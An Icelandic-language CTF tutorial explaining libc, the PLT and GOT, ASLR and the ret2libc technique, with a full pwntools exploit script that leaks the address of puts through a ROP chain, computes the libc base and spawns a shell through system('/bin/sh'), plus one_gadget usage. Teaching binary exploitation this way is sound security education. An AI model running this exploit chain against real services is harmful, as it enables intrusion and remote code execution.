libc og ret2libc
Hvað er libc?
libc (C Standard Library) er bókasafn (e. shared library) sem inniheldur grunnsöfn (e. standard functions) sem næstum öll C forrit nota: printf, puts, gets, malloc, system, og hundruð fleiri.
Þar sem þessir hlutir eru samnýttir (e. shared), eru þeir hlaðnir inn í minni forritsins á keyrslu (e. at runtime), en eru ekki innbyggðir í forritið sjálft.
ldd ./challenge
# linux-vdso.so.1 => ...
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
# /lib64/ld-linux-x86-64.so.2
PLT og GOT
Þegar forrit kallar á puts(), veit það ekki hvar libc er í minni, það kann að vera á mismunandi vistfangi í hvert skipti (ASLR).
Lausnin eru tvær töflur:
- PLT (Procedure Linkage Table): stöðvar (e. stubs) í tvíundaskránni, fast vistfang
- GOT (Global Offset Table): tafla sem geymir raunveruleg heimilisföngin í libc eftir uppflettingu
puts@PLT → GOT[puts] → puts í libc
Fyrsta sinn sem puts er kallað, uppflettir dynamic linker vistfangið og skrifar í GOT. Eftir það er kallað beint.
GOT í pwn
Ef við getum lesið úr GOT, fáum við raunverulegt vistfang libc falls → reiknum libc base.
Ef við getum skrifað í GOT (Partial RELRO), getum við bent falli á system() í stað upprunalega.
ASLR og libc base
ASLR (Address Space Layout Randomization) þýðir að libc er hlaðið á slembivistfang í hvert skipti. Við vitum því ekki hvar system() er.
En: offsetar milli falla í libc eru alltaf þeir sömu. Ef við vitum hvar eitt fall er, vitum við hvar öll föll eru.
libc_base = leaked_puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
libc leak: Hvernig fáum við vistfang?
Aðferð: puts(puts@GOT)
Við notum ROP til að kalla á puts(GOT['puts']), þetta prentar raunverulegt vistfang puts í libc.
from pwn import *
p = process('./challenge')
elf = ELF('./challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
offset = 72
pop_rdi = 0x401234 # pop rdi; ret gadget
ret_gadget = 0x401235 # ret (fyrir alignment)
main_addr = elf.sym['main']
# === Fyrsti payload: Leka puts vistfang ===
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(got_puts) # rdi = GOT[puts]
payload += p64(plt_puts) # Kallar puts(GOT[puts]) → prentar vistfangið
payload += p64(main_addr) # Keyrir main aftur eftir leakinn
p.sendline(payload)
p.recvuntil(b'?\n') # Sleppa öðru úttaki þar til svar
# Lesa 6 bæti (vistfang)
leak = u64(p.recv(6).ljust(8, b'\x00'))
log.info(f"puts @ {hex(leak)}")
# Reikna base
libc.address = leak - libc.sym['puts']
log.info(f"libc base @ {hex(libc.address)}")
system_addr = libc.sym['system']
binsh_addr = next(libc.search(b'/bin/sh'))
# === Annar payload: system("/bin/sh") ===
payload2 = b'A' * offset
payload2 += p64(ret_gadget)
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)
p.sendline(payload2)
p.interactive()
libc útgáfa (e. libc version)
Mismunandi dreifingar (e. distributions) og útgáfur hafa mismunandi offsets. Þú þarft réttu libc útgáfuna.
libc-database
# Með leaked vistfang, finna réttu libc útgáfuna
# (libc-database verkefni á GitHub)
./find puts 0x7f...abc123
pwntools: libc leit
# Ef þú veist puts og system offset
from pwn import *
elf = ELF('./libc.so.6')
print(hex(elf.sym['puts']))
print(hex(elf.sym['system']))
CTF tól
libc.rip: Vefsíða til að finna libc útgáfu út frá leaked heimilisföngu.
one_gadget
one_gadget finnur stök ROP-gadgets (e. one-shot gadgets) í libc sem kalla á /bin/sh beint, engin þörf á system() og /bin/sh streng sérstaklega.
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# 0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
# constraints: rsp & 0xf == 0
# 0x4f432 execve("/bin/sh", rsp+0x40, environ)
# ...
one_gadget_offset = 0x4f3d5
shell = libc.address + one_gadget_offset
payload = b'A' * offset + p64(shell)
Warning
one_gadgets hafa constraints (skilyrði), ef þau eru ekki uppfyllt, virkar það ekki. Prófaðu fleiri ef eitt virkar ekki.